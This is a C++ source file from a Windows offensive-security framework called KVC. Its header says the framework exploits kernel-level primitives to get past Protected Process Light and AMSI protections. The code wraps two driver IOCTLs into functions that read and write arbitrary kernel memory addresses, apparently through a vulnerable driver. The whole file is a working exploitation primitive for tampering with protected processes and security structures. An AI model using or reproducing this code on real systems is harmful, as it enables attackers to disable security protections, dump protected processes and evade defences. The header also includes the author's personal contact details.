Files
kvc/kvc/KvcDrv.cpp
2025-09-17 21:46:05 +02:00

169 lines
5.6 KiB
C++

/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// KvcDrv.cpp
#include "kvcDrv.h"
#include "common.h"
#include <format>
// IOCTL command codes for KVC driver communication
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
kvc::kvc() = default;
kvc::~kvc() {
Cleanup();
}
// Force cleanup for atomic driver operations - critical for stability
void kvc::Cleanup() noexcept {
DEBUG(L"kvc::Cleanup() called");
if (m_deviceHandle) {
DEBUG(L"Closing device handle...");
// Force the handle to close
FlushFileBuffers(m_deviceHandle.get());
m_deviceHandle.reset(); // This should close the handle
}
m_deviceName.clear();
DEBUG(L"kvc cleanup completed");
}
bool kvc::IsConnected() const noexcept {
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
}
// Driver connection establishment with device path
bool kvc::Initialize() noexcept {
if (IsConnected()) {
return true;
}
if (m_deviceName.empty()) {
m_deviceName = L"\\\\.\\" + GetServiceName();
}
if (!InitDynamicAPIs()) return false;
// SIMPLE DEVICE OPEN - without test operations
HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(),
GENERIC_READ | GENERIC_WRITE,
0, nullptr, OPEN_EXISTING, 0, nullptr);
if (rawHandle == INVALID_HANDLE_VALUE) {
return false; // Silently fail - this is normal when the driver is not running
}
m_deviceHandle = UniqueHandle(rawHandle);
return true;
}
// Memory read operations with type safety
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept {
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<BYTE>(value.value() & 0xff);
}
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept {
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<WORD>(value.value() & 0xffff);
}
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept {
return Read(address, sizeof(DWORD));
}
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept {
auto low = Read32(address);
auto high = Read32(address + 4);
if (!low || !high) return std::nullopt;
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
}
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept {
#ifdef _WIN64
auto value = Read64(address);
if (!value.has_value()) return std::nullopt;
return static_cast<ULONG_PTR>(value.value());
#else
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<ULONG_PTR>(value.value());
#endif
}
// Memory write operations with type safety
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept {
return Write(address, sizeof(value), value);
}
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept {
return Write(address, sizeof(value), value);
}
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept {
return Write(address, sizeof(value), value);
}
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept {
DWORD low = static_cast<DWORD>(value & 0xffffffff);
DWORD high = static_cast<DWORD>((value >> 32) & 0xffffffff);
return Write32(address, low) && Write32(address + 4, high);
}
// Low-level driver communication via IOCTL
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept {
RTC_MEMORY_READ memoryRead{};
memoryRead.Address = address;
memoryRead.Size = valueSize;
if (!Initialize()) return std::nullopt;
DWORD bytesReturned = 0;
if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ,
&memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr))
return std::nullopt;
return memoryRead.Value;
}
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept {
RTC_MEMORY_WRITE memoryWrite{};
memoryWrite.Address = address;
memoryWrite.Size = valueSize;
memoryWrite.Value = value;
if (!Initialize()) return false;
DWORD bytesReturned = 0;
return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE,
&memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr);
}